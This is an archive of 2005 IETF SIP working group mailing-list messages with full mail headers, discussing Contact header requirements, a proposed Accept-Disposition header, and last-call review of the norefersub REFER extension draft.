for ; Tue, 1 Feb 2005 14:31:53 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw42v-0002sz-2X for sip-web-archive@ietf.org; Tue, 01 Feb 2005 14:50:45 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw3hi-0004AD-La; Tue, 01 Feb 2005 14:28:50 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw3a7-0002Ci-5j for sip@megatron.ietf.org; Tue, 01 Feb 2005 14:20:59 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA08884 for ; Tue, 1 Feb 2005 14:20:56 -0500 (EST) Received: from hoemail2.lucent.com ([192.11.226.163]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw3sJ-0002fQ-Gm for sip@ietf.org; Tue, 01 Feb 2005 14:39:48 -0500 Received: from oh0012exch001p.wins.lucent.com (h135-7-157-6.lucent.com [135.7.157.6]) by hoemail2.lucent.com (8.12.11/8.12.11) with ESMTP id j11JKskM005604 for ; Tue, 1 Feb 2005 13:20:55 -0600 (CST) Received: by OH0012EXCH001P with Internet Mail Service (5.5.2657.72) id ; Tue, 1 Feb 2005 14:20:54 -0500 Message-ID: <4C37CF2D8DF07E4CA6357BAD5EB9A5D7189FC303@oh0012exch004u.cb.lucent.com> From: "Shekar, Nagesh Soma (Shekar)** CTR **" To: "'sip@ietf.org'" Date: Tue, 1 Feb 2005 14:20:51 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C50892.565DD6C8" X-Spam-Score: 0.7 (/) X-Scan-Signature: 386e0819b1192672467565a524848168 Subject: [Sip] Requests within SIP Dialog and Contact Header X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.7 (/) X-Scan-Signature: 057ebe9b96adec30a7efb2aeda4c26a4 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C50892.565DD6C8 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C50892.565DD6C8" ------_=_NextPart_001_01C50892.565DD6C8 Content-Type: text/plain; charset="iso-8859-1" The Contact header is defined as a Mandatory Header in some of Request messages, like NOTIFY as a mandatory header. I am trying to understand if this is required for SIP header like Contact to be mandatory in SIP requests that are sent in a dialog that is already setup with a INVITE transaction. If it is required, then what is the intent of making it Mandatory and how it should be used. In my opinion, I think a distinction needs to be made between the case how a request such as NOTIFY is used. If it is used to setup a dialog, then SIP headers like Contact should be mandatory, otherwise they should be not even be present. Nagesh Shekar Email: shek@lucent.com ------_=_NextPart_001_01C50892.565DD6C8 Content-Type: text/html; charset="iso-8859-1" Blank
The Contact header is defined as a Mandatory Header in some of Request messages,
like NOTIFY as a mandatory header.
 
I am trying to understand if this is required for SIP header like Contact to be mandatory
in SIP requests that are sent in a dialog that is already setup with a INVITE transaction.
If it is required, then what is the intent of making it Mandatory and how it should be used.
 
In my opinion, I think a distinction needs to be made between the case how a request
such as NOTIFY is used. If it is used to setup a dialog, then SIP headers like Contact
should be mandatory, otherwise they should be not even be present.
 
Nagesh Shekar
Email: shek@lucent.com

 

------_=_NextPart_001_01C50892.565DD6C8-- ------_=_NextPart_000_01C50892.565DD6C8 Content-Type: image/gif; name="Blank Bkgrd.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Blank Bkgrd.gif" Content-ID: <007061519@01022005-0458> Content-Transfer-Encoding: base64 Content-Transfer-Encoding: base64 R0lGODlhLQAtAID/AP////f39ywAAAAALQAtAEACcAxup8vtvxKQsFon6d02898pGkgiYoCm6sq2 7iqWcmzOsmeXeA7uPJd5CYdD2g9oPF58ygqz+XhCG9JpJGmlYrPXGlfr/Yo/VW45e7amp2tou/lW xo/zX513z+Vt+1n/tiX2pxP4NUhy2FM4xtjIUQAAOw== ------_=_NextPart_000_01C50892.565DD6C8 Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip ------_=_NextPart_000_01C50892.565DD6C8-- From sip-bounces@ietf.org Tue Feb 1 16:57:12 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA03667 for ; Tue, 1 Feb 2005 16:57:12 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw6JY-00019Y-Ou for sip-web-archive@ietf.org; Tue, 01 Feb 2005 17:16:05 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw5bt-00024K-Gh; Tue, 01 Feb 2005 16:30:57 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw4zs-0005Eh-Sd for sip@megatron.ietf.org; Tue, 01 Feb 2005 15:51:40 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18497 for ; Tue, 1 Feb 2005 15:51:37 -0500 (EST) Received: from imr1.ericy.com ([198.24.6.9]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw5I6-0004th-0c for sip@ietf.org; Tue, 01 Feb 2005 16:10:31 -0500 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id j11KqDCR005320; Tue, 1 Feb 2005 14:52:13 -0600 (CST) Received: from ericsson.com (rac167pc.edd.ericsson.se [164.48.123.167]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id D5Z183J7; Tue, 1 Feb 2005 14:51:01 -0600 Message-ID: <41FFEBBC.80505@ericsson.com> Date: Tue, 01 Feb 2005 22:51:08 +0200 X-Sybari-Trust: 1c58924a b8ec86c7 91b97f63 00000139 From: Gonzalo Camarillo User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Cullen Jennings Subject: Re: [Sip] Draft defining the Accept-Disposition header field References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 4adaf050708fb13be3316a9eee889caa Content-Transfer-Encoding: 7bit Cc: "sip@ietf.org" , Paul H Kyzivat X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 4d87d2aa806f79fed918a62e834505ca Content-Transfer-Encoding: 7bit Hi Cullen, inline: Cullen Jennings wrote: >>>I'm not really sure what the problem is that this solves. >> >>it lets a UA know whether the remote UA supports a particular >>disposition type. Right now, UAs guess this information based on the >>support for MIME types. For example, if the remote UA supports >>application/sdp, my UA assumes that the remote UA supports the 'session' >>disposition type... but what about 'early-session'? >> > > Seems like Supported header is a better way to solve this particular issue Yes, we can define new option tags for everything we want to negotiate... but defining an option tag that just means "I support this disposition type" seems like duplicating stuff unnecessary (e.g., defining an option tag that means that the UA supports the early-session disposition type). In addition, we have an error response (415) that, per its definition, should be returned if the UAS does not support a MIME type or a disposition type in the request... we have a means to express which MIME types the UAS supports if the problem was an unknown MIME type, but we do not have anything to express which disposition types the UAS supports, in case the problem had to do with a disposition type. This information can come handy for debugging. > I guess I am wondering if using the MIME dispositions is really the right > way to basically tell the UA what you want it to do with a given SIP command > - what does recipient-list mean in the context of email or other users of > MIME? Yes, it has already been pointed out that disposition types are context dependent. The issue is that, in email, any disposition type belongs to the same context: the reception of an email message. In SIP, we have different contexts. For example, the reception of a body whose disposition type is 'session' in an INVITE request makes sense, but what happens if it is received in a MESSAGE? Gonzalo _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 1 16:57:15 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA03703 for ; Tue, 1 Feb 2005 16:57:15 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw6Jb-00019k-Ev for sip-web-archive@ietf.org; Tue, 01 Feb 2005 17:16:07 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw5bv-00024p-Co; Tue, 01 Feb 2005 16:30:59 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw51h-00064j-Nd for sip@megatron.ietf.org; Tue, 01 Feb 2005 15:53:33 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18620 for ; Tue, 1 Feb 2005 15:53:30 -0500 (EST) Received: from imr1.ericy.com ([198.24.6.9]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw5Js-0004w4-QM for sip@ietf.org; Tue, 01 Feb 2005 16:12:24 -0500 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id j11KsDCR005644; Tue, 1 Feb 2005 14:54:13 -0600 (CST) Received: from ericsson.com (rac167pc.edd.ericsson.se [164.48.123.167]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id D5Z183NS; Tue, 1 Feb 2005 14:53:01 -0600 Message-ID: <41FFEC35.4030003@ericsson.com> Date: Tue, 01 Feb 2005 22:53:09 +0200 X-Sybari-Trust: 8887085c b8ec86c7 91b97f63 00000139 From: Gonzalo Camarillo User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Cullen Jennings Subject: Re: [Sip] Draft defining the Accept-Disposition header field References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 0ddefe323dd869ab027dbfff7eff0465 Content-Transfer-Encoding: 7bit Cc: "sip@ietf.org" , Paul H Kyzivat X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 82c9bddb247d9ba4471160a9a865a5f3 Content-Transfer-Encoding: 7bit Hi Cullen, inline: Cullen Jennings wrote: >>>I'm not really sure what the problem is that this solves. >> >>it lets a UA know whether the remote UA supports a particular >>disposition type. Right now, UAs guess this information based on the >>support for MIME types. For example, if the remote UA supports >>application/sdp, my UA assumes that the remote UA supports the 'session' >>disposition type... but what about 'early-session'? >> > > Seems like Supported header is a better way to solve this particular issue Yes, we can define new option tags for everything we want to negotiate... but defining an option tag that just means "I support this disposition type" seems like duplicating stuff unnecessary (e.g., defining an option tag that means that the UA supports the early-session disposition type). In addition, we have an error response (415) that, per its definition, should be returned if the UAS does not support a MIME type or a disposition type in the request... we have a means to express which MIME types the UAS supports if the problem was an unknown MIME type, but we do not have anything to express which disposition types the UAS supports, in case the problem had to do with a disposition type. This information can come handy for debugging. > I guess I am wondering if using the MIME dispositions is really the right > way to basically tell the UA what you want it to do with a given SIP command > - what does recipient-list mean in the context of email or other users of > MIME? Yes, it has already been pointed out that disposition types are context dependent. The issue is that, in email, any disposition type belongs to the same context: the reception of an email message. In SIP, we have different contexts. For example, the reception of a body whose disposition type is 'session' in an INVITE request makes sense, but what happens if it is received in a MESSAGE? In any event, as Paul suggested, I believe it is good to analyze all the issues related to SIP and MIME stuff and make decisions in one way or another. At this point, there are issues that haven't got enough attention. Gonzalo _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 1 17:05:16 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA05355 for ; Tue, 1 Feb 2005 17:05:16 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw6RM-0001bW-CA for sip-web-archive@ietf.org; Tue, 01 Feb 2005 17:24:08 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw5mN-00044T-69; Tue, 01 Feb 2005 16:41:47 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw5H8-00059s-LY for sip@megatron.ietf.org; Tue, 01 Feb 2005 16:09:30 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19960 for ; Tue, 1 Feb 2005 16:09:29 -0500 (EST) Received: from magus.nostrum.com ([69.5.195.2] ident=root) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw5ZK-0005Md-Fg for sip@ietf.org; Tue, 01 Feb 2005 16:28:21 -0500 Received: from [192.168.0.103] (c-24-1-68-89.client.comcast.net [24.1.68.89]) (authenticated bits=0) by magus.nostrum.com (8.12.11/8.12.11) with ESMTP id j11L9ESD069916 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Tue, 1 Feb 2005 15:09:16 -0600 (CST) (envelope-from rjsparks@nostrum.com) In-Reply-To: <50B1CBA96870A34799A506B2313F266704AE5F53@ntht201e.siemenscomms.co.uk> References: <50B1CBA96870A34799A506B2313F266704AE5F53@ntht201e.siemenscomms.co.uk> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <84fe880c500d5408fb355f4d374934c5@nostrum.com> Content-Transfer-Encoding: 7bit From: Robert Sparks Subject: Re: [Sip] Abbreviated WGLC for draft-ietf-sip-refer-with-norefers ub-00.txt Date: Tue, 1 Feb 2005 15:09:12 -0600 To: "Elwell, John" X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.1 (/) X-Scan-Signature: 2a76bcd37b1c8a21336eb0a1ea6bbf48 Content-Transfer-Encoding: 7bit Cc: SIP WG , Rohan Mahy , Orit Levin , Dean Willis X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: 2bf730a014b318fd3efd65b39b48818c Content-Transfer-Encoding: 7bit On Feb 1, 2005, at 2:50 PM, Elwell, John wrote: > Robert, > > Section 3, 2nd paragraph: "One purpose of requiring the implicit > subscription and initial NOTIFY is to allow for the situation where the > REFER request gets forked and the REFER-Issuer needs a way to see the > multiple dialogs that may be established as a result of the forked > REFER." > Surely the REFER-Issuer will see the multiple dialogs as a result of > receiving multiple 2xx responses to the REFER request? Exactly not. The issuer will only see one of those 2xx's. Proxies only return one final response to non-INVITE transactions (like REFER). That's why we have the immediate NOTIFY in SIP Events. > > Consequently, concerning the following statement in section 4: "The > "norefersub" option tag MUST be used by the REFER-Issuer only when the > REFER-Issuer can be certain that the REFER request will not be > forked." - is > it really necessary for MUST strength? Yes. For the reason above. > > Then at the end of section 4: "If the REFER-Recipient is willing to > grant > the "norefersub" behavior for the issued REFER request, it MUST insert > a > Supported: norefersub header in the 2xx response to the REFER-Issuer. > In > this case no dialog is created." > Surely a dialog is created by the 2xx response to REFER? No, that's the point of the extension. No subscription. The norefersub REFER is a transaction that stands alone and doesn't start any new usages (so it can't start any new dialogs). > > John > > >> -----Original Message----- >> From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On >> Behalf Of Robert Sparks >> Sent: 31 January 2005 17:34 >> To: Robert Sparks >> Cc: SIP WG; Rohan Mahy; Orit Levin; Dean Willis >> Subject: Re: [Sip] Abbreviated WGLC for >> draft-ietf-sip-refer-with-norefersub-00.txt >> >> The LC the chairs initiated ends today. >> >> Please read this draft and comment. It's very short - please do this >> now. >> >> We've talked about this idea a lot - let make sure the talk >> is captured >> in the draft. >> >> RjS >> >> On Jan 26, 2005, at 4:22 PM, Robert Sparks wrote: >> >>> Initial LC Comments: >>> >>> First paragraph of Section 3 calls out 481ing an initial >> NOTIFY. The >>> -dialog-usage- >>> draft shows that is a bad idea, especially for in-dialog REFERs. >>> Suggest trimming >>> the sentence to end after (Expires 0). >>> >>> Section 4 fourth paragraph: It would help implementers to call out >>> explicitly that the >>> 200 response to the REFER will not contain a Supported or Require >>> header containing >>> the norefersub token. >>> >>> Section 4 fifth paragraph: This needs more definition. How is it >>> rejected? 603, 420, or >>> something else? Implementors will need some guidance here >> on when to >>> use which >>> error response. I think (but am not dead certain at the >> moment) that >>> 420 is almost always >>> what you want to use. >>> >>> Section 4 sixth paragraph: Is Supported: in the response >> really the >>> right thing? Eventlist >>> uses Require: in the response to a SUBSCRIBE. The intent of the >>> normative behavior in >>> this paragraph is to let a Refer-issuer who only included >> Supported: >>> know whether or >>> not a subscription was actually created. Require: (I'm using this >>> extension) in the response >>> fits that better than Supported: (I could use this >> extension if you >>> want to). >>> >>> Section 4 sixth paragraph: Suggest replacing "In this case, >> no dialog >>> is created" with >>> "In this case, no implicit subscription is created. As a >> consequence, >>> no new dialog >>> is created if this REFER was issued outside any existing dialog." >>> >>> Section 5: Probably worth also calling out using >> Max-Forwards: 0 to >>> prevent forking >>> for those (rare now, but hopefully not rare forever) cases where >>> signaling can get to >>> the refer target without going through a proxy. >>> >>> Section 6: Must replace "tradewind" with "example" throughout. >>> >>> Section 8: "threads" should be "threats", It would be good >> to pull any >>> discussion >>> that led to this conclusion together for when the IESG asks if we >>> _really_ thought >>> about this. Have we talked about what would happen if a SIP >>> intermediary (or an >>> unauthorized MitM) just injected a Require: norefersub into >> a REFER >>> request? >>> >>> RjS >>> >>> >>> On Jan 24, 2005, at 5:07 PM, Rohan Mahy wrote: >>> >>>> Hi Folks, >>>> >>>> I'd like to begin an abbreviated WGLC for: >>>> >>>> http://www.ietf.org/internet-drafts/draft-ietf-sip-refer-with- >>>> norefersub-00.txt >>>> >>>> Since this document is extremely short and has been discussed >>>> extensively, WGLC will end on February 1st. >>>> >>>> thanks, >>>> -rohan >>>> >>>> >>>> _______________________________________________ >>>> Sip mailing list https://www1.ietf.org/mailman/listinfo/sip >>>> This list is for NEW development of the core SIP Protocol >>>> Use sip-implementors@cs.columbia.edu for questions on current sip >>>> Use sipping@ietf.org for new developments on the application of sip >>> >>> >>> _______________________________________________ >>> Sip mailing list https://www1.ietf.org/mailman/listinfo/sip >>> This list is for NEW development of the core SIP Protocol >>> Use sip-implementors@cs.columbia.edu for questions on current sip >>> Use sipping@ietf.org for new developments on the application of sip >> >> >> _______________________________________________ >> Sip mailing list https://www1.ietf.org/mailman/listinfo/sip >> This list is for NEW development of the core SIP Protocol >> Use sip-implementors@cs.columbia.edu for questions on current sip >> Use sipping@ietf.org for new developments on the application of sip >> _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 1 17:08:48 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA06007 for ; Tue, 1 Feb 2005 17:08:48 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw6Um-0001mn-Ka for sip-web-archive@ietf.org; Tue, 01 Feb 2005 17:27:40 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw5pN-0006Ed-SL; Tue, 01 Feb 2005 16:44:53 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw5Ly-0008J9-5d for sip@megatron.ietf.org; Tue, 01 Feb 2005 16:14:30 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21256 for ; Tue, 1 Feb 2005 16:14:28 -0500 (EST) Received: from sj-iport-1-in.cisco.com ([171.71.176.70] helo=sj-iport-1.cisco.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw5eB-0005hI-Cl for sip@ietf.org; Tue, 01 Feb 2005 16:33:20 -0500 Received: from sj-core-1.cisco.com (171.71.177.237) by sj-iport-1.cisco.com with ESMTP; 01 Feb 2005 13:23:01 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62]) by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j11LDqM8004050; Tue, 1 Feb 2005 13:13:53 -0800 (PST) Received: from cisco.com ([161.44.79.149]) by flask.cisco.com (MOS 3.4.6-GR) with ESMTP id AOT70668; Tue, 1 Feb 2005 16:13:53 -0500 (EST) Message-ID: <41FFF111.6030608@cisco.com> Date: Tue, 01 Feb 2005 16:13:53 -0500 From: Paul Kyzivat User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jonathan Rosenberg Subject: Re: [Sip] Abbreviated WGLC for draft-ietf-sip-refer-with-norefersub-00.txt References: <41FF203C.3000105@cisco.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 4adaf050708fb13be3316a9eee889caa Content-Transfer-Encoding: 7bit Cc: SIP WG , Rohan Mahy , Dean Willis X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 4d87d2aa806f79fed918a62e834505ca Content-Transfer-Encoding: 7bit inline. Paul Jonathan Rosenberg wrote: >> The "norefersub" option tag MUST be used by the REFER-Issuer only >> when the REFER-Issuer can be certain that the REFER request will not >> be forked. > > I think we need to say how it knows that. Sending the REFER to the GRUU > is one way. Its really the only reliable way I think.... Saying MUST is fine, but guaranteeing that it is done correctly is another thing. So what bad things happen if this is violated, and the request is forked? I don't think anything terrible happens. The REFER gets forked and possibly multiple call attempts happen as a result. The referrer subscribes to something that it thinks is the target, and probably is one of the targets. So it finds out about that call but not the others. So some unexpected things happen, nobody's phone explodes. Why not just make this SHOULD and count on the users of this to minimize their own pain? >> If the REFER-Recipient is willing to grant the "norefersub" behavior >> for the issued REFER request, it MUST insert a Supported: norefersub >> header in the 2xx response to the REFER-Issuer. In this case no >> dialog is created. > > This is not correct usage of Supported/Require. If you place Supported > in a request, it means that an extension is understood. If the server > sends a response which requires that the client understand the extension > in order to process it, it includes a Require in the response. Thus, in > the case above, the norefersub needs to appear in a Require in the 2xx, > not a Supported. > > That said, I see little value in having the REFER-Recipient make the > choice about whether to create the implicit subscription. Isnt it the > REFER-issuer that really understands the usage behind the REFER, and > thus, whether notifies are needed? I'd propose that it be used only in > the Require header field in the SUBSCRIBE. I figured this was intended to allow the referrer to cope with referees that don't support this option. In that case it gets all those implicit subscriptions, and has to kill them off. But at least it gets its job done. _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 1 17:44:39 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA03672 for ; Tue, 1 Feb 2005 16:57:13 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw6JY-00019X-OF for sip-web-archive@ietf.org; Tue, 01 Feb 2005 17:16:05 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw5br-00022x-E4; Tue, 01 Feb 2005 16:30:55 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw4zr-0005E7-Ek for sip@megatron.ietf.org; Tue, 01 Feb 2005 15:51:39 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18492 for ; Tue, 1 Feb 2005 15:51:36 -0500 (EST) Received: from mailgate.siemenscomms.co.uk ([195.171.110.225]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw5I3-0004tf-6R for sip@ietf.org; Tue, 01 Feb 2005 16:10:29 -0500 Received: from CONVERSION-DAEMON.siemenscomms.co.uk by siemenscomms.co.uk (PMDF V6.0-24 #40642) id <0IB90070135RHQ@siemenscomms.co.uk> for sip@ietf.org; Tue, 01 Feb 2005 20:49:03 +0000 (GMT) Received: from ntht207e.siemenscomms.co.uk ([137.223.247.82]) by siemenscomms.co.uk (PMDF V6.0-24 #40642) with ESMTP id <0IB90047935QRE@siemenscomms.co.uk>; Tue, 01 Feb 2005 20:49:03 +0000 (GMT) Received: by ntht207e.siemenscomms.co.uk with Internet Mail Service (5.5.2657.72) id ; Tue, 01 Feb 2005 20:51:02 +0000 Content-return: allowed Date: Tue, 01 Feb 2005 20:50:55 +0000 From: "Elwell, John" Subject: RE: [Sip] Abbreviated WGLC for draft-ietf-sip-refer-with-norefers ub-00.txt To: Robert Sparks Message-id: <50B1CBA96870A34799A506B2313F266704AE5F53@ntht201e.siemenscomms.co.uk> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-type: text/plain Content-transfer-encoding: 7BIT X-Spam-Score: 0.0 (/) X-Scan-Signature: c54bc2f42d02429833c0ca4b8725abd7 Content-Transfer-Encoding: 7BIT Cc: SIP WG , Rohan Mahy , Orit Levin , Dean Willis X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 3d7f2f6612d734db849efa86ea692407 Content-Transfer-Encoding: 7BIT Robert, Section 3, 2nd paragraph: "One purpose of requiring the implicit subscription and initial NOTIFY is to allow for the situation where the REFER request gets forked and the REFER-Issuer needs a way to see the multiple dialogs that may be established as a result of the forked REFER." Surely the REFER-Issuer will see the multiple dialogs as a result of receiving multiple 2xx responses to the REFER request? Consequently, concerning the following statement in section 4: "The "norefersub" option tag MUST be used by the REFER-Issuer only when the REFER-Issuer can be certain that the REFER request will not be forked." - is it really necessary for MUST strength? Then at the end of section 4: "If the REFER-Recipient is willing to grant the "norefersub" behavior for the issued REFER request, it MUST insert a Supported: norefersub header in the 2xx response to the REFER-Issuer. In this case no dialog is created." Surely a dialog is created by the 2xx response to REFER? John > -----Original Message----- > From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On > Behalf Of Robert Sparks > Sent: 31 January 2005 17:34 > To: Robert Sparks > Cc: SIP WG; Rohan Mahy; Orit Levin; Dean Willis > Subject: Re: [Sip] Abbreviated WGLC for > draft-ietf-sip-refer-with-norefersub-00.txt > > The LC the chairs initiated ends today. > > Please read this draft and comment. It's very short - please do this > now. > > We've talked about this idea a lot - let make sure the talk > is captured > in the draft. > > RjS > > On Jan 26, 2005, at 4:22 PM, Robert Sparks wrote: > > > Initial LC Comments: > > > > First paragraph of Section 3 calls out 481ing an initial > NOTIFY. The > > -dialog-usage- > > draft shows that is a bad idea, especially for in-dialog REFERs. > > Suggest trimming > > the sentence to end after (Expires 0). > > > > Section 4 fourth paragraph: 